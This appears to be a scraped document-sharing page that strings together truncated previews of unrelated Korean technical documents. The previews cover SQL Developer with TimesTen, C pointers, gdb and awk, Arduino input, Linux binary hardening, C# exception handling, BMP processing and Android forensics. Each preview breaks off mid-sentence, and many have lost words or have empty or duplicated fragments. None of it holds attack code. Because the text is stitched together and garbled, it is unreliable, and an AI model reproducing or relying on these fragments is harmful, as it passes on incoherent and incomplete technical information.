SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자 SQL Developer Connect to TimesTen 유니원아이앤씨 DB 팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 2010-07-28 작성자 김학준 최종수정일 2010-07-28 문서번호 20100728_01_khj 재개정이력 일자내용수정인버전

More information

untitled

untitled Push... 2 Push... 4 Push... 5 Push... 13 Push... 15 1 FORCS Co., LTD A Leader of Enterprise e-business Solution Push (Daemon ), Push Push Observer. Push., Observer. Session. Thread Thread. Observer ID.

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

Microsoft Word - ExecutionStack

Microsoft Word - ExecutionStack Lecture 15: LM code from high level language /* Simple Program */ external int get_int(); external void put_int(); int sum; clear_sum() { sum=0; int step=2; main() { register int i; static int count; clear_sum();

More information

bn2019_2

bn2019_2 arp -a Packet Logging/Editing Decode Buffer Capture Driver Logging: permanent storage of packets for offline analysis Decode: packets must be decoded to human readable form. Buffer: packets must temporarily

More information

歯처리.PDF

歯처리.PDF E06 (Exception) 1 (Report) : { $I- } { I/O } Assign(InFile, InputName); Reset(InFile); { $I+ } { I/O } if IOResult 0 then { }; (Exception) 2 2 (Settling State) Post OnValidate BeforePost Post Settling

More information

Linux Binary Hardening with Glibc Hyeonho Seo

Linux Binary Hardening with Glibc Hyeonho Seo Linux Binary Hardening with Glibc Hyeonho Seo About Me 서현호(Hyeonho Seo) KDMHS 재학 중인 파릇한(?) 고등학 생 게임/팀플 빼고는 우분투만 사용 관심 분야는 상당히 잡식성 POSIX System Hacking Linux Kernel Programming Network Protocol C, Modern

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

Mobile Service > IAP > Android SDK [ ] IAP SDK TOAST SDK. IAP SDK. Android Studio IDE Android SDK Version (API Level 10). Name Reference V

Mobile Service > IAP > Android SDK [ ] IAP SDK TOAST SDK. IAP SDK. Android Studio IDE Android SDK Version (API Level 10). Name Reference V Mobile Service > IAP > Android SDK IAP SDK TOAST SDK. IAP SDK. Android Studio IDE 2.3.3 Android SDK Version 2.3.3 (API Level 10). Name Reference Version License okhttp http://square.github.io/okhttp/ 1.5.4

More information

vRealize Automation용 VMware Remote Console - VMware

vRealize Automation용 VMware Remote Console - VMware vrealize Automation 용 VMware Remote Console VMware Remote Console 9.0 이문서는새버전으로교체되기전까지나열된각제품버전및모든이후버전을지원합니다. 이문서에대한최신버전을확인하려면 http://www.vmware.com/kr/support/pubs 를참조하십시오. KO-002230-00 vrealize Automation

More information

Microsoft PowerPoint - es-arduino-lecture-03

Microsoft PowerPoint - es-arduino-lecture-03 임베디드시스템개론 : Arduino 활용 Lecture #3: Button Input & FND Control 2012. 3. 25 by 김영주 강의목차 디지털입력 Button switch 입력 Button Debounce 7-Segment FND : 직접제어 7-Segment FND : IC 제어 2 디지털입력 : Switch 입력 (1) 실습목표 아두이노디지털입력처리실습

More information

SBR-100S User Manual

SBR-100S User Manual ( 1 / 13 ) SBR-100S 모델에 대한 사용자 펌웨어 업그레이드 방법을 안내해 드립니다. SBR-100S 는 신규 펌웨어가 있을시 FOTA(자동업데이트) 기능을 통하여 자동 업그레이드가 되며, 필요시 사용자가 신규 펌웨어를 다운받아 수동으로 업그레이드 할 수 있습니다. 1. 준비하기 1.1 연결 장치 준비 펌웨어 업그레이드를 위해서는 SBR-100S

More information

Microsoft PowerPoint - CSharp-10-예외처리

Microsoft PowerPoint - CSharp-10-예외처리 10 장. 예외처리 예외처리개념 예외처리구문 사용자정의예외클래스와예외전파 순천향대학교컴퓨터학부이상정 1 예외처리개념 순천향대학교컴퓨터학부이상정 2 예외처리 오류 컴파일타임오류 (Compile-Time Error) 구문오류이기때문에컴파일러의구문오류메시지에의해쉽게교정 런타임오류 (Run-Time Error) 디버깅의절차를거치지않으면잡기어려운심각한오류 시스템에심각한문제를줄수도있다.

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

PowerPoint Presentation

PowerPoint Presentation FORENSICINSIGHT SEMINAR Android Forensics 101 Posquit0 pbj92220@postech.ac.kr http://posquit0.com I Can Do It!! 개요 Android OS 에대한기초적인지식을알수있다. Android 시스템에접근할수있다. forensicinsight.org Page 2 / 27 INDEX 1.

More information